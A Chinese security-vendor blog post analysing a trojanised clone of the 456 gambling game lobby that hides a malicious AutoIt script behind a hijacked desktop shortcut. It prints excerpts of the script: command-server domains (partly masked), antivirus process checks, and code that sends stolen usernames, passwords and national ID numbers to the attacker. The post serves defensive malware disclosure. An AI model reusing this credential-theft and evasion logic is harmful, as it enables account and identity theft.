就在今年上半年,456游戲大廳還是金錢(qián)的代名詞。一個(gè)看起來(lái)并不起眼的游戲平臺(tái),注冊(cè)用戶卻達(dá)2000余萬(wàn),每天獲利最高可達(dá)100余萬(wàn)。這樣的一個(gè)游戲大廳,必然是各路木馬的兵家必爭(zhēng)之地。于是針對(duì)456游戲大廳的各種盜號(hào)木馬、遠(yuǎn)控木馬也都層出不窮。作為一家互聯(lián)網(wǎng)安全公司,我們當(dāng)然也是一直在和各類木馬作者不斷地對(duì)抗。怎奈金錢(qián)的利益太過(guò)誘人,雖然被我們步步緊逼,但木馬作者卻也從未停止過(guò)自己的腳步。
但到今年4月16日,有關(guān)456游戲的一切活動(dòng)戛然而止……
溫州龍灣警方將這宗涉案金額堪比全省一年GDP的特大網(wǎng)絡(luò)開(kāi)設(shè)賭場(chǎng)案破獲,涉案人員被抓,456游戲大廳也正式宣告倒臺(tái)。皮之不存,毛將焉附——依附于456游戲存在的無(wú)數(shù)木馬作者也都跟著銷(xiāo)聲匿跡了。我們這些互聯(lián)網(wǎng)安全工作者們仿佛也可以松一口氣了。
似曾相識(shí)
近日接到用戶舉報(bào)說(shuō)搜索的時(shí)候遇到了一個(gè)虛假的670游戲大廳,我們便按照用戶的描述找到了這個(gè)游戲大廳
而一打開(kāi)這個(gè)所謂的“670游戲”的主頁(yè),我就感覺(jué)不對(duì)勁了——這不就是456游戲大廳的主頁(yè)嗎?
將主頁(yè)頁(yè)面上掛的游戲平臺(tái)下載回來(lái)之后安裝……果然——除了改了幾個(gè)標(biāo)題之外,Game456和456游戲的名字還是隨處可見(jiàn)
安裝完成后,會(huì)在桌面上生成一個(gè)“670游戲大廳”的快捷方式。——直到此時(shí),這個(gè)程序還僅僅只是停留在一個(gè)簡(jiǎn)單的“山寨456游戲大廳”的層面,并沒(méi)有實(shí)質(zhì)的惡意行為。
詭異的快捷方式
點(diǎn)開(kāi)該快捷方式的屬性,乍一看去仿佛還挺正常,但習(xí)慣性的用鼠標(biāo)圈了一下“目標(biāo)”一欄——怎么這么長(zhǎng)!遂將完整目標(biāo)路徑復(fù)制下來(lái):
“C:Program FilesKaiLian Tech670游戲UpdatLobby.exe” plat.mod “C:Program FilesKaiLian Tech670游戲Lobby.exe”
定位到目標(biāo)文件,是一個(gè)隱藏的UploadLobby.exe程序,參數(shù)則是同樣隱藏的Plat.mod文件和真正的游戲大廳主程序lobby.exe
驚現(xiàn)Auto456
UpdatLobby.exe這個(gè)程序帶有數(shù)字簽名“AutoIt Consulting Ltd”。
看到這相信很多人都明白了——這是一個(gè)AutoIt的解釋器——用于解釋用AutoIt語(yǔ)言寫(xiě)成的自動(dòng)化腳本。那么很顯然,他指向的Plat.mod就是一個(gè)自動(dòng)化腳本。
不出意料,這個(gè)腳本是經(jīng)過(guò)編碼的,也就是一個(gè)a3x腳本,我們用工具將其轉(zhuǎn)為文本的au3文本——一個(gè)多大1800余行的腳本出現(xiàn)在我的眼前。
同樣不出意料的,我在腳本中看到了這樣的一個(gè)久違的變量名——”456exepath”:
而這種利用AutoIt執(zhí)行惡意代碼的手法在456游戲的時(shí)代就曾經(jīng)出現(xiàn)過(guò)——我們稱其為“Auto456”。
腳本分析
觀其1800余行的腳本,封裝了大量的WinAPI和GDI+函數(shù)。也正是依賴大量的WinAPI的調(diào)用,這個(gè)AutoIt的腳本實(shí)現(xiàn)了一個(gè)原本應(yīng)該是經(jīng)過(guò)編譯的可執(zhí)行程序才會(huì)有的強(qiáng)大功能。(以下僅列出其中部分)
func _winapi_createcompatiblebitmap($hdc, $iwidth, $iheight)
local $aresult = dllcall("gdi32.dll", "handle", "createcompatiblebitmap", "handle", $hdc, "int", $iwidth, "int", $iheight)
if @error then return seterror(@error, @extended, 0x00000000)
return $aresult [0x00000000 ]
endfunc
func _winapi_createcompatibledc($hdc)
local $aresult = dllcall("gdi32.dll", "handle", "createcompatibledc", "handle", $hdc)
if @error then return seterror(@error, @extended, 0x00000000)
return $aresult [0x00000000 ]
endfunc
func _winapi_deletedc($hdc)
local $aresult = dllcall("gdi32.dll", "bool", "deletedc", "handle", $hdc)
if @error then return seterror(@error, @extended, false)
return $aresult [0x00000000 ]
endfunc
func _winapi_deleteobject($hobject)
local $aresult = dllcall("gdi32.dll", "bool", "deleteobject", "handle", $hobject)
if @error then return seterror(@error, @extended, false)
return $aresult [0x00000000 ]
endfunc
func _winapi_getdc($hwnd)
local $aresult = dllcall("user32.dll", "handle", "getdc", "hwnd", $hwnd)
if @error then return seterror(@error, @extended, 0x00000000)
return $aresult [0x00000000 ]
endfunc
……
func _gdiplus_encodersgetclsid($sfileext)
local $aencoders = _gdiplus_encoders()
for $ii = 0x00000001 to $aencoders [0x00000000 ][0x00000000 ]
if stringinstr($aencoders [$ii ][0x00000006 ], "*."& $sfileext) > 0x00000000 then return $aencoders [$ii ][0x00000001 ]
next
return seterror(- 0x00000001, -0x00000001, "")
endfunc
func _gdiplus_encodersgetcount()
local $aresult = dllcall($ghgdipdll, "int", "gdipgetimageencoderssize", "uint*", 0x00000000, "uint*", 0x00000000)
if @error then return seterror(@error, @extended, -0x00000001)
return setextended($aresult [0x00000000 ], $aresult [0x00000001 ])
endfunc
func _gdiplus_encodersgetsize()
local $aresult = dllcall($ghgdipdll, "int", "gdipgetimageencoderssize", "uint*", 0x00000000, "uint*", 0x00000000)
if @error then return seterror(@error, @extended, -0x00000001)
return setextended($aresult [0x00000000 ], $aresult [0x00000002 ])
endfunc
腳本一開(kāi)始便給出了作者的遠(yuǎn)程服務(wù)器域名,但看起來(lái)很亂:
global $ymdqz = "nat.game670.com-hell.game670.com_download.game670.com."
global $zydfwq = "new670.yx****.com"
global $bydfwq = "news670.ggy****.com"
global $ymdbh = "sina670."
但其實(shí)里面只有兩個(gè)域名“yx****.com”和“ggy****.com”(處于安全考慮,隱去了域名中的部分字符)。而其他部分則都是這兩個(gè)真實(shí)域名下屬的子域名。猜測(cè)是用來(lái)迷惑和誤導(dǎo)分析人員的。
然后就是收集用戶當(dāng)前的信息
比如本地IP(注釋為本文作者添加,下同)
; 獲取本地IP地址
global $ipadqz = stringleft(@ipaddress1, 0x00000003)
if $ipadqz == "192"or $ipadqz == "0.1"or $ipadqz == "169"or $ipadqz == "10."or $ipadqz == "172"then
$hzxx = "|"& @ipaddress1 & "|"& @computername
else
$hzxx = "|1.1.1.1|"& @computername
endif
檢查用戶機(jī)器上是否有正在運(yùn)行的安全軟件
; 檢查進(jìn)程
if processexists("360tray.exe") or processexists("ksafetray.exe") or processexists("qqpctray.exe") then
$sysppbb = 0x00000001
$lj = 0x00000001
_ljwini()
endif
$user2 = ""
sleep(0x00000457)
tcpstartup()
; 檢查安全軟件
; 檢查是否存在360
if processexists("360tray.exe") then
$sdxx = "“有360"
else
$sdxx = ""
endif
; 檢查是否存在金山
if processexists("ksafetray.exe") then
if $sdxx <> ""then
$sdxx &= "_金山"
else
$sdxx = "“有金山"
endif
endif
; 檢查是否存在冰點(diǎn)還原
if processexists("df5serv.exe") then
if $sdxx <> ""then
$sdxx &= "_冰點(diǎn)"
else
$sdxx = "“有冰點(diǎn)"
endif
endif
集到這些信息之后會(huì)作為第一個(gè)數(shù)據(jù)包打包發(fā)送給木馬作者的收信服務(wù)器,作為記錄。
收集完這些基礎(chǔ)信息之后,才是病毒的真正主體——一個(gè)長(zhǎng)達(dá)300多行的死循環(huán)。
正是這個(gè)死循環(huán),在監(jiān)視著用戶的一舉一動(dòng)。
比如每隔一段時(shí)間(循環(huán)500次)就會(huì)檢查一遍放在桌面上的快捷方式是否正常(是否依然指向病毒),如果不正常了就修復(fù)一下,并通知服務(wù)器修復(fù)了快捷方式。而如果腳本一段時(shí)間內(nèi)(循環(huán)3500次)沒(méi)有發(fā)現(xiàn)你做過(guò)什么有價(jià)值的事情,也會(huì)定點(diǎn)向服務(wù)器報(bào)告一下當(dāng)前置頂?shù)拇翱跇?biāo)題是什么。甚至當(dāng)你需要注冊(cè)的時(shí)候,木馬都會(huì)為你貼心的準(zhǔn)備了幾個(gè)處理過(guò)的窗口貼圖和驗(yàn)證碼圖案……
當(dāng)然,作者最想要拿到的,必然還是用戶的賬戶登錄信息。更為嚴(yán)重的是——由于此類游戲平臺(tái)涉及大宗的財(cái)務(wù)交易,所以大多都要求登陸的時(shí)候需要輸入本人真實(shí)身份證號(hào)碼用于驗(yàn)證。這樣一來(lái),木馬作者竊取的就不僅僅是游戲資產(chǎn)而已了——也包括了用戶的身份證信息,而這會(huì)牽連出多少其他的個(gè)人隱私數(shù)據(jù),就無(wú)法想象了。
if $passtemp == "yfsa"and winexists("[class:kailiangame456]") and controlcommand("[class:kailiangame456]", "", "button8", "isenabled", "") == 0x00000001 then
$passtemp = ""
if $sfz <> ""and stringlen($sfz) <> 0x00000012 then
_tcpsdd(_stringencrypt(0x00000001, $user & "||||||sfz-error"& $hzxx))
$sfz = ""
endif
_tcpsdd(_stringencrypt(0x00000001, $user & "|"& $pass & "|"& $sfz & "||||"& $sdxx & $hzxx & "|"& $date))
endif
看到這里,如果你以為這是一個(gè)盜號(hào)的自動(dòng)化腳本,那你就錯(cuò)了——除了盜號(hào)功能外,腳本更主要的功能其實(shí)是一個(gè)遠(yuǎn)控。他可以接收來(lái)自木馬作者服務(wù)器的指令,并根據(jù)指令進(jìn)行各種操作
另外,如果下發(fā)的指令是一個(gè)URL,腳本還會(huì)去下載這個(gè)URL對(duì)應(yīng)的文件到本地執(zhí)行。
查殺攔截
由于病毒代碼的執(zhí)行者其實(shí)是AutoIt的解釋器,而這個(gè)解釋器本身并非惡意程序(它只是在逐行的解釋并執(zhí)行腳本里每一條指令而已),并且也有正規(guī)有效的數(shù)字簽名。真正含有惡意代碼的腳本文件卻躲在解釋器的后面,不會(huì)以獨(dú)立進(jìn)程的形式出現(xiàn)在系統(tǒng)中。
因此導(dǎo)致現(xiàn)在市面上所有的安全軟件中,除360外都無(wú)法正常攔截該木馬。所幸的是得益于和456游戲木馬的長(zhǎng)期對(duì)抗經(jīng)驗(yàn),360對(duì)此類木馬一直是可以有效攔截的
最后也要提醒大家:久賭無(wú)勝家——無(wú)論是否是木馬,賭博類游戲,我們就應(yīng)該遠(yuǎn)離。